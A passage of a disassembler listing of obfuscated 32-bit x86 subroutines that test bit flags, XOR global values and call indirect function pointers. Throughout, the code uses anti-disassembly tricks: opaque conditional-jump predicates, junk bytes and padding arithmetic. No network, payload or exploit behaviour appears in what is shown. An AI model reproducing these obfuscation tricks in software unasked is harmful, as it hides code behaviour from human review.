sub_49C3E1:loc_49C533j jmp short loc_49C535 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49C531: ; CODE XREF: sub_49C3E1+14Bj jz short loc_49C52E loc_49C533: ; CODE XREF: sub_49C3E1+149j jmp short loc_49C52E ; --------------------------------------------------------------------------- loc_49C535: ; CODE XREF: sub_49C3E1:loc_49C52Ej and eax, 41h dec bl sub bl, 12h and eax, 800h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_49C56E jl short loc_49C56C loc_49C567: ; CODE XREF: sub_49C3E1:loc_49C56Cj ; sub_49C3E1:loc_49C56Ej jmp short loc_49C570 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49C56C: ; CODE XREF: sub_49C3E1+184j jz short loc_49C567 loc_49C56E: ; CODE XREF: sub_49C3E1+182j jmp short loc_49C567 ; --------------------------------------------------------------------------- loc_49C570: ; CODE XREF: sub_49C3E1:loc_49C567j inc eax dec eax jo short loc_49C57D jl short loc_49C57B loc_49C576: ; CODE XREF: sub_49C3E1:loc_49C57Bj ; sub_49C3E1:loc_49C57Dj jmp short loc_49C57F ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49C57B: ; CODE XREF: sub_49C3E1+193j jz short loc_49C576 loc_49C57D: ; CODE XREF: sub_49C3E1+191j jmp short loc_49C576 ; --------------------------------------------------------------------------- loc_49C57F: ; CODE XREF: sub_49C3E1:loc_49C576j inc eax dec eax inc eax dec eax jo short loc_49C58C jl short loc_49C58A loc_49C587: ; CODE XREF: sub_49C3E1:loc_49C58Aj ; sub_49C3E1:loc_49C58Cj jmp short loc_49C58E ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49C58A: ; CODE XREF: sub_49C3E1+1A4j jz short loc_49C587 loc_49C58C: ; CODE XREF: sub_49C3E1+1A2j jmp short loc_49C587 ; --------------------------------------------------------------------------- loc_49C58E: ; CODE XREF: sub_49C3E1:loc_49C587j inc eax pop ecx cmp ecx, eax jnz short loc_49C59A and eax, 0 inc eax jmp short loc_49C59D ; --------------------------------------------------------------------------- loc_49C59A: ; CODE XREF: sub_49C3E1+B0j ; sub_49C3E1+1B1j and eax, 0 loc_49C59D: ; CODE XREF: sub_49C3E1+1B7j mov [ebp+var_C], eax mov ecx, dword_4ED3F0 xor ecx, dword_4ED3F4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49C5C0 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49C5C0: ; CODE XREF: sub_49C3E1+1D4j mov eax, [ebp+var_8] push eax call off_4F1D48 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49C3E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49C5D4 proc near ; DATA XREF: sub_4965D8+7A0o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_49C607 jl short loc_49C605 loc_49C600: ; CODE XREF: sub_49C5D4:loc_49C605j ; sub_49C5D4:loc_49C607j jmp short loc_49C609 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49C605: ; CODE XREF: sub_49C5D4+2Aj jz short loc_49C600 loc_49C607: ; CODE XREF: sub_49C5D4+28j jmp short loc_49C600 ; --------------------------------------------------------------------------- loc_49C609: ; CODE XREF: sub_49C5D4:loc_49C600j sub bl, 5 dec bl push eax dec bl dec bl and eax, 41h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1500h dec dh sub dh, 3 dec dh sub dh, 7 dec dh and ah, dh pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED410 xor ecx, dword_4ED414 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49C661 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49C661: ; CODE XREF: sub_49C5D4+82j mov eax, [ebp+var_8] push eax call off_4F1D68 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49C5D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49C675 proc near ; DATA XREF: sub_4965D8+E88o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DAC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 77h sub cl, 2 dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl jo short loc_49C6DD jl short loc_49C6DB loc_49C6D8: ; CODE XREF: sub_49C675:loc_49C6DBj ; sub_49C675:loc_49C6DDj jmp short loc_49C6DF ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49C6DB: ; CODE XREF: sub_49C675+61j jz short loc_49C6D8 loc_49C6DD: ; CODE XREF: sub_49C675+5Fj jmp short loc_49C6D8 ; --------------------------------------------------------------------------- loc_49C6DF: ; CODE XREF: sub_49C675:loc_49C6D8j dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 800h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3DC xor ecx, dword_4ED3E0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49C736 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49C736: ; CODE XREF: sub_49C675+B6j mov eax, [ebp+var_8] push eax call off_4F1D34 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49C675 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49C74A proc near ; DATA XREF: sub_4965D8+20Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DDC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 3 dec dh jo short loc_49C774 jl short loc_49C772 loc_49C76F: ; CODE XREF: sub_49C74A:loc_49C772j ; sub_49C74A:loc_49C774j jmp short loc_49C776 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49C772: ; CODE XREF: sub_49C74A+23j jz short loc_49C76F loc_49C774: ; CODE XREF: sub_49C74A+21j jmp short loc_49C76F ; --------------------------------------------------------------------------- loc_49C776: ; CODE XREF: sub_49C74A:loc_49C76Fj push eax and eax, 80h bswap eax not eax pop eax sub dh, 2 jo short loc_49C78D jl short loc_49C78B loc_49C788: ; CODE XREF: sub_49C74A:loc_49C78Bj ; sub_49C74A:loc_49C78Dj jmp short loc_49C78F ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49C78B: ; CODE XREF: sub_49C74A+3Cj jz short loc_49C788 loc_49C78D: ; CODE XREF: sub_49C74A+3Aj jmp short loc_49C788 ; --------------------------------------------------------------------------- loc_49C78F: ; CODE XREF: sub_49C74A:loc_49C788j and ah, dh mov dl, 4 dec dl sub dl, 2 dec dl sub dl, 0FFh and al, dl not ah bswap eax bswap eax not ah pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED40C xor ecx, dword_4ED410 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49C7D0 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49C7D0: ; CODE XREF: sub_49C74A+7Bj mov eax, [ebp+var_8] push eax call off_4F1D64 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49C74A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49C7E4 proc near ; DATA XREF: sub_4965D8+855o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 80h jmp short loc_49C80D ; --------------------------------------------------------------------------- mov ebx, 4 loc_49C80D: ; CODE XREF: sub_49C7E4+22j mov ebx, 0A4h xor ebx, 96h not ebx bswap eax not ebx inc ebx inc ebx inc ebx inc ebx inc ebx add ebx, 5 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED400 xor ecx, dword_4ED404 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49C85F mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49C85F: ; CODE XREF: sub_49C7E4+70j mov eax, [ebp+var_8] push eax call off_4F1D58 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49C7E4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49C873 proc near ; DATA XREF: sub_4965D8+CFo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DCC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0AFh sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 300h inc dh inc dh dec dh inc dh inc dh inc dh inc dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx jo short loc_49C93A jl short loc_49C938 loc_49C935: ; CODE XREF: sub_49C873:loc_49C938j ; sub_49C873:loc_49C93Aj jmp short loc_49C93C ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49C938: ; CODE XREF: sub_49C873+C0j jz short loc_49C935 loc_49C93A: ; CODE XREF: sub_49C873+BEj jmp short loc_49C935 ; --------------------------------------------------------------------------- loc_49C93C: ; CODE XREF: sub_49C873:loc_49C935j cmp eax, edx jz short loc_49C953 jo short loc_49C94B jl short loc_49C949 loc_49C944: ; CODE XREF: sub_49C873:loc_49C949j ; sub_49C873:loc_49C94Bj jmp short loc_49C94D ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49C949: ; CODE XREF: sub_49C873+CFj jz short loc_49C944 loc_49C94B: ; CODE XREF: sub_49C873+CDj jmp short loc_49C944 ; --------------------------------------------------------------------------- loc_49C94D: ; CODE XREF: sub_49C873:loc_49C944j and eax, 0 inc eax jmp short loc_49C956 ; --------------------------------------------------------------------------- loc_49C953: ; CODE XREF: sub_49C873+CBj and eax, 0 loc_49C956: ; CODE XREF: sub_49C873+DEj mov [ebp+var_C], eax mov ecx, dword_4ED3FC xor ecx, dword_4ED400 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49C979 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49C979: ; CODE XREF: sub_49C873+FBj mov eax, [ebp+var_8] push eax call off_4F1D54 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49C873 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49C98D proc near ; DATA XREF: sub_4965D8+553o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 80h jmp short loc_49C9B6 ; --------------------------------------------------------------------------- mov ebx, 4 loc_49C9B6: ; CODE XREF: sub_49C98D+22j mov ebx, 32h not ebx bswap eax not ebx inc ebx jo short loc_49C9CB jl short loc_49C9C9 loc_49C9C6: ; CODE XREF: sub_49C98D:loc_49C9C9j ; sub_49C98D:loc_49C9CBj jmp short loc_49C9CD ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49C9C9: ; CODE XREF: sub_49C98D+37j jz short loc_49C9C6 loc_49C9CB: ; CODE XREF: sub_49C98D+35j jmp short loc_49C9C6 ; --------------------------------------------------------------------------- loc_49C9CD: ; CODE XREF: sub_49C98D:loc_49C9C6j inc ebx inc ebx add ebx, 7 push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax jo short loc_49C9E7 jl short loc_49C9E5 loc_49C9E2: ; CODE XREF: sub_49C98D:loc_49C9E5j ; sub_49C98D:loc_49C9E7j jmp short loc_49C9E9 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_49C9E5: ; CODE XREF: sub_49C98D+53j jz short loc_49C9E2 loc_49C9E7: ; CODE XREF: sub_49C98D+51j jmp short loc_49C9E2 ; --------------------------------------------------------------------------- loc_49C9E9: ; CODE XREF: sub_49C98D:loc_49C9E2j and eax, ebx pop ebx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED408 xor ecx, dword_4ED40C shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49CA14 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49CA14: ; CODE XREF: sub_49C98D+7Cj mov eax, [ebp+var_8] push eax call off_4F1D60 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49C98D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49CA28 proc near ; DATA XREF: sub_4965D8+4B4o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] push ebx jo short loc_49CA3E jl short loc_49CA3C loc_49CA39: ; CODE XREF: sub_49CA28:loc_49CA3Cj ; sub_49CA28:loc_49CA3Ej jmp short loc_49CA40 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_49CA3C: ; CODE XREF: sub_49CA28+Fj jz short loc_49CA39 loc_49CA3E: ; CODE XREF: sub_49CA28+Dj jmp short loc_49CA39 ; --------------------------------------------------------------------------- loc_49CA40: ; CODE XREF: sub_49CA28:loc_49CA39j mov ebx, 4 and eax, ebx push ecx mov ch, 10h sub ch, 1 dec ch dec ch dec ch jo short loc_49CA5C jl short loc_49CA5A loc_49CA57: ; CODE XREF: sub_49CA28:loc_49CA5Aj ; sub_49CA28:loc_49CA5Cj jmp short loc_49CA5E ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_49CA5A: ; CODE XREF: sub_49CA28+2Dj jz short loc_49CA57 loc_49CA5C: ; CODE XREF: sub_49CA28+2Bj jmp short loc_49CA57 ; --------------------------------------------------------------------------- loc_49CA5E: ; CODE XREF: sub_49CA28:loc_49CA57j dec ch dec ch mov ebx, [ebp+arg_4] dec esi dec edi dec edi xor edx, edx or ebx, edx jo short loc_49CA75 jl short loc_49CA73 loc_49CA70: ; CODE XREF: sub_49CA28:loc_49CA73j ; sub_49CA28:loc_49CA75j jmp short loc_49CA77 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49CA73: ; CODE XREF: sub_49CA28+46j jz short loc_49CA70 loc_49CA75: ; CODE XREF: sub_49CA28+44j jmp short loc_49CA70 ; --------------------------------------------------------------------------- loc_49CA77: ; CODE XREF: sub_49CA28:loc_49CA70j jz short loc_49CA95 dec edi dec ch dec ch dec ch dec ch sub ch, 8 and eax, 0 jo short loc_49CA91 jl short loc_49CA8F loc_49CA8C: ; CODE XREF: sub_49CA28:loc_49CA8Fj ; sub_49CA28:loc_49CA91j jmp short loc_49CA93 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_49CA8F: ; CODE XREF: sub_49CA28+62j jz short loc_49CA8C loc_49CA91: ; CODE XREF: sub_49CA28+60j jmp short loc_49CA8C ; --------------------------------------------------------------------------- loc_49CA93: ; CODE XREF: sub_49CA28:loc_49CA8Cj jmp short loc_49CAAC ; --------------------------------------------------------------------------- loc_49CA95: ; CODE XREF: sub_49CA28:loc_49CA77j dec edi dec ecx sub ch, 2 dec ch dec ch sub ch, 8 and eax, 0 dec ecx sub ch, 2 dec ch dec edx inc eax loc_49CAAC: ; CODE XREF: sub_49CA28:loc_49CA93j mov [ebp+var_8], eax mov eax, dword_4ED3B8 xor eax, dword_4ED3BC shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_49CACE mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_49CACE: ; CODE XREF: sub_49CA28+9Bj mov edx, [ebp+var_4] push edx call off_4F1D10 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49CA28 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49CAE2 proc near ; DATA XREF: sub_4965D8+5DBo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 4Bh not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax add ecx, 3 and eax, ecx pop ecx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3D0 xor ecx, dword_4ED3D4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49CB73 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49CB73: ; CODE XREF: sub_49CAE2+86j mov eax, [ebp+var_8] push eax call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49CAE2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49CB87 proc near ; DATA XREF: sub_4965D8+CD9o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 6 dec dh jo short loc_49CBB1 jl short loc_49CBAF loc_49CBAC: ; CODE XREF: sub_49CB87:loc_49CBAFj ; sub_49CB87:loc_49CBB1j jmp short loc_49CBB3 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49CBAF: ; CODE XREF: sub_49CB87+23j jz short loc_49CBAC loc_49CBB1: ; CODE XREF: sub_49CB87+21j jmp short loc_49CBAC ; --------------------------------------------------------------------------- loc_49CBB3: ; CODE XREF: sub_49CB87:loc_49CBACj sub dh, 2 push eax mov eax, 800h bswap eax not eax pop eax sub dh, 3 and ah, dh mov dl, 4 dec dl sub dl, 2 dec dl sub dl, 0FFh and al, dl not ah bswap eax bswap eax not ah pop edx mov [ebp+var_C], eax mov ecx, dword_4ED410 xor ecx, dword_4ED414 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49CC00 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49CC00: ; CODE XREF: sub_49CB87+6Ej mov eax, [ebp+var_8] push eax call off_4F1D68 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49CB87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49CC14 proc near ; DATA XREF: sub_4965D8+B8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DDC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 8 dec bh dec bh sub bh, 2 dec bh dec bh dec bh dec bh and eax, 80h bswap ecx pop eax bswap ecx and ah, bh mov bl, 86h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl pop ebx pop edx test eax, eax jnz loc_49CD81 mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 1 dec bh and eax, 41h bswap ecx pop eax bswap ecx jo short loc_49CCAC jl short loc_49CCAA loc_49CCA5: ; CODE XREF: sub_49CC14:loc_49CCAAj ; sub_49CC14:loc_49CCACj jmp short loc_49CCAE ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49CCAA: ; CODE XREF: sub_49CC14+8Fj jz short loc_49CCA5 loc_49CCAC: ; CODE XREF: sub_49CC14+8Dj jmp short loc_49CCA5 ; --------------------------------------------------------------------------- loc_49CCAE: ; CODE XREF: sub_49CC14:loc_49CCA5j and ah, bh jo short loc_49CCBB jl short loc_49CCB9 loc_49CCB4: ; CODE XREF: sub_49CC14:loc_49CCB9j ; sub_49CC14:loc_49CCBBj jmp short loc_49CCBD ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49CCB9: ; CODE XREF: sub_49CC14+9Ej jz short loc_49CCB4 loc_49CCBB: ; CODE XREF: sub_49CC14+9Cj jmp short loc_49CCB4 ; --------------------------------------------------------------------------- loc_49CCBD: ; CODE XREF: sub_49CC14:loc_49CCB4j mov bl, 97h sub bl, 3 jo short loc_49CCCD jl short loc_49CCCB loc_49CCC6: ; CODE XREF: sub_49CC14:loc_49CCCBj ; sub_49CC14:loc_49CCCDj jmp short loc_49CCCF ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49CCCB: ; CODE XREF: sub_49CC14+B0j jz short loc_49CCC6 loc_49CCCD: ; CODE XREF: sub_49CC14+AEj jmp short loc_49CCC6 ; --------------------------------------------------------------------------- loc_49CCCF: ; CODE XREF: sub_49CC14:loc_49CCC6j sub bl, 0Ah dec bl dec bl not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_49CD08 jl short loc_49CD06 loc_49CD01: ; CODE XREF: sub_49CC14:loc_49CD06j ; sub_49CC14:loc_49CD08j jmp short loc_49CD0A ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49CD06: ; CODE XREF: sub_49CC14+EBj jz short loc_49CD01 loc_49CD08: ; CODE XREF: sub_49CC14+E9j jmp short loc_49CD01 ; --------------------------------------------------------------------------- loc_49CD0A: ; CODE XREF: sub_49CC14:loc_49CD01j sub bl, 5 dec bl push eax dec bl dec bl and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh jo short loc_49CD3B jl short loc_49CD39 loc_49CD34: ; CODE XREF: sub_49CC14:loc_49CD39j ; sub_49CC14:loc_49CD3Bj jmp short loc_49CD3D ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49CD39: ; CODE XREF: sub_49CC14+11Ej jz short loc_49CD34 loc_49CD3B: ; CODE XREF: sub_49CC14+11Cj jmp short loc_49CD34 ; --------------------------------------------------------------------------- loc_49CD3D: ; CODE XREF: sub_49CC14:loc_49CD34j sub dh, 7 jo short loc_49CD4B jl short loc_49CD49 loc_49CD44: ; CODE XREF: sub_49CC14:loc_49CD49j ; sub_49CC14:loc_49CD4Bj jmp short loc_49CD4D ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49CD49: ; CODE XREF: sub_49CC14+12Ej jz short loc_49CD44 loc_49CD4B: ; CODE XREF: sub_49CC14+12Cj jmp short loc_49CD44 ; --------------------------------------------------------------------------- loc_49CD4D: ; CODE XREF: sub_49CC14:loc_49CD44j and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_49CD62 jl short loc_49CD60 loc_49CD5B: ; CODE XREF: sub_49CC14:loc_49CD60j ; sub_49CC14:loc_49CD62j jmp short loc_49CD64 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49CD60: ; CODE XREF: sub_49CC14+145j jz short loc_49CD5B loc_49CD62: ; CODE XREF: sub_49CC14+143j jmp short loc_49CD5B ; --------------------------------------------------------------------------- loc_49CD64: ; CODE XREF: sub_49CC14:loc_49CD5Bj inc eax dec eax inc eax dec eax inc eax dec eax jo short loc_49CD73 jl short loc_49CD71 loc_49CD6E: ; CODE XREF: sub_49CC14:loc_49CD71j ; sub_49CC14:loc_49CD73j jmp short loc_49CD75 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49CD71: ; CODE XREF: sub_49CC14+158j jz short loc_49CD6E loc_49CD73: ; CODE XREF: sub_49CC14+156j jmp short loc_49CD6E ; --------------------------------------------------------------------------- loc_49CD75: ; CODE XREF: sub_49CC14:loc_49CD6Ej inc eax pop ecx cmp ecx, eax jnz short loc_49CD81 and eax, 0 inc eax jmp short loc_49CD84 ; --------------------------------------------------------------------------- loc_49CD81: ; CODE XREF: sub_49CC14+6Ej ; sub_49CC14+165j and eax, 0 loc_49CD84: ; CODE XREF: sub_49CC14+16Bj mov [ebp+var_C], eax mov ecx, dword_4ED40C xor ecx, dword_4ED410 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49CDA7 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49CDA7: ; CODE XREF: sub_49CC14+188j mov eax, [ebp+var_8] push eax call off_4F1D64 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49CC14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49CDBB proc near ; DATA XREF: sub_4965D8+104Do var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D88 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 10h dec bh dec bh dec al dec bh dec bh dec al dec bh dec al dec al dec bh dec bh dec bh dec bh dec bh dec al dec bh dec bh dec al dec al dec bh dec bh dec al dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 8Ch sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 3 dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3B8 xor ecx, dword_4ED3BC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49CE7C mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49CE7C: ; CODE XREF: sub_49CDBB+B6j mov eax, [ebp+var_8] push eax call off_4F1D10 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49CDBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49CE90 proc near ; DATA XREF: sub_4965D8+16Do var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D84 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push eax mov eax, 4 bswap eax not eax pop eax push edx mov dh, 80h mov dh, 0 inc dh mov ecx, 